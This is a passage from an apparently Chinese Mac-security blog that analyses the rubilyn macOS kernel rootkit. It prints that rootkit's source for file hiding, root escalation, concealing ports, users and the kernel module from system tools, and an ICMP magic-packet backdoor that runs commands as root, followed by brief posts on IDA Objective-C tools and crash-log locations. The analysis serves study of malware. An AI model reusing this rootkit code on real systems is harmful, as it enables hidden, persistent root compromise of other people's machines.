                    if(strncmp(dirp->d_name,(char*)&k_dir,strlen((char*)&k_dir)) == 0)

                    {

                        char *next = (char *) dirp + dirp->d_reclen;    // 下一目录项

                        u_int64_t offset = (char *) next - (char *) mem ; // 当前文件目录项大小

                        bcount -= dirp->d_reclen;   // 递减字节数

                        btot -= dirp->d_reclen;     // 递减目录项长度

                        bcopy(next,dirp,buffersize - offset);   // 覆盖指定文件的目录项,从而实现文件隐藏

                        updated = 1;

                        continue;

                    }

                bcount -= dirp->d_reclen;

                dirp = (struct direntry *) ((char *) dirp + dirp->d_reclen);

            }

            if(updated == 1)

            {

                copyout(mem,uap->buf,btot);     // 将修改后的数据返回给用户空间

                *retval = btot; 

            }

            FREE(mem,M_TEMP);   // 释放内核内存

        }

        return ret;

    }

     

    3、设置Root进程

     

    先通过pid获取进程proc结构,然后更改其中进程属主字段p_ucred为0,即root属主。源代码如下:

     

    static int getroot(int pid)

    {

        struct proc *rootpid;

        kauth_cred_t creds;

        rootpid = proc_find(pid);

        if(!rootpid)

            return 0;

        lck_mtx_lock((lck_mtx_t*)&rootpid->p_mlock);    // 设置互斥锁

        creds = rootpid->p_ucred;   // 进程属主

        creds = my_kauth_cred_setuidgid(rootpid->p_ucred,0,0); // 设置进程属主id为0(root)

        rootpid->p_ucred = creds;

        lck_mtx_unlock((lck_mtx_t*)&rootpid->p_mlock);  // 解锁

        return 0;

    }

     

    4、隐藏网络端口、用户名和内核模块

     

    通过对write_nocancel函数挂钩,然后对 grep、sysctl、netstat、kextstat、w和who等命令的输出结果进行过滤,当命令输出结果中包含rubilyn模块名以及特写端口和用户名时就直接返回,否则就调用原始的write_nocanel函数。

     

     

    /* hooked write_nocancel for hiding console stuff */

    int new_write_nocancel(struct proc* p, struct write_nocancel_args *uap, user_ssize_t* retval)

    {

        char buffer[MAXBUFFER];

        if(strncmp(p->p_comm, grep, strlen(p->p_comm))==0||strncmp(p->p_comm, sysctl,strlen(p->p_comm))==0||

           strncmp(p->p_comm, kextstat,strlen(p->p_comm))==0){

            bzero(buffer, sizeof(buffer));

            copyin(uap->cbuf, buffer, sizeof(buffer)-1);

            if(my_strstr(buffer, rubilyn))

                return(uap->nbyte);

        }

        if(strncmp(p->p_comm, netstat,strlen(p->p_comm))==0){

            bzero(buffer, sizeof(buffer));

            copyin(uap->cbuf, buffer, sizeof(buffer)-1);

            if(my_strstr(buffer, (char*)&k_port))

                return(uap->nbyte);

    }

    if((strncmp(p->p_comm,w,strlen(p->p_comm))==0||strncmp(p->p_comm,who,strlen(p->p_comm))==0))

        {

            bzero(buffer, sizeof(buffer));

            copyin(uap->cbuf, buffer, sizeof(buffer)-1);

            if(my_strstr(buffer, (char*)&k_user))

                return(uap->nbyte);

        }

        return org_write_nocancel(p,uap,retval);

    }

     

    5、设置ICMP 后门

     

    首先添加IPv4过滤器ip_filter_ipv4:

     

     /* install IPv4 filter hook */

     ipf_addv4(&ip_filter_ipv4, &ip_filter_ipv4_ref);

     

    ip_filter_ipv4结构如下:

     

    static struct ipf_filter ip_filter_ipv4 = {

    .name = "rubilyn",

    .ipf_input = ipf_input,

    .ipf_output = ipf_output,

    .ipf_detach = ipf_detach,

    };

     

    当传给用户的ICMP数据包中包含有以下特定数据时就以root权限执行命令:

     

    /* ICMP backdoor configuration */

    #define MAGIC_ICMP_TYPE 0

    #define MAGIC_ICMP_CODE 255 /* xor'd magic word*/

    #define MAGIC_ICMP_STR "\x27\x10\x3\xb\x46\x8\x1c\x10\x1e"  // 解密后为“n0mn0mn0m”

    #define MAGIC_ICMP_STR_LEN 9

     

     

    ipf_input主要处理传给用户的数据:

     

    static errno_t ipf_input(void* cookie, mbuf_t *data, int offset, u_int8_t protocol)

    {

        char buf[IP_BUF_SIZE];

        struct icmp *icmp;

        if (!(data && *data))

    return 0;

    if (protocol != IPPROTO_ICMP)

    return 0;

        mbuf_copydata(*data, offset, IP_BUF_SIZE, buf);

        icmp = (struct icmp *)&buf;

        // 检测接收的icmp数据包中是否包含后门的特征数据,若是则调用KUNCExecute函数执行命令

        if(icmp->icmp_type==MAGIC_ICMP_TYPE&&icmp->icmp_code== MAGIC_ICMP_CODE && strncmp(icmp->icmp_data, icmpstr, MAGIC_ICMP_STR_LEN)==0)

        {

            my_KUNCExecute((char*)&k_cmd, kOpenAppAsRoot, kOpenApplicationPath);

        }

        return 0;

    }

     

    rubilyn还有个命令行控制台rubilyncon,通过输入参数选项来执行上面某项功能,主要都是通过sysctl控制内核变量来招待相应函数,这些内核变量都是在rubilyn中用sysctl注册的,通过这些内核变量可从用户层直接与rubilyn内核扩展进行交互来执行恶意操作。


     

  • object-c 辅助分析工具

    日期:2012-12-29 | 分类:MAC安全

    由于IDA在逆向object-c程序时,其中msgsend函数具体调用的是哪个类方法并没有标出,很不方便分析,而且交互引用功能也受到大大的限制,因此才有了下面两款分析工具。

    fixobjc.idc:IDA IDC Script that processes the objective-C typeinfo, and names methods accordingly ,旧版本是08年,里面的String函数未定义,反正在5.2和6.3上无法使用,2012年有个哥们完善了下(用GetString代替),并修复部分bug:https://github.com/gdbinit/fixobjc/blob/master/fixobjc.idc,相同功能的还有zynamics-objective-c-helper ida python插件: https://github.com/zynamics/objc-helper-plugin-ida 。

    fixobjc.idc运行的效果图:


  • mac crash log

    日期:2012-11-29 | 分类:MAC安全

    崩溃日志文件默认保存在:~/Library/Logs/DiagnosticReports/,上述目录是隐藏的,可直接cd进去查看,也可借助“实用工具”->“控制台”窗口查看日志文件。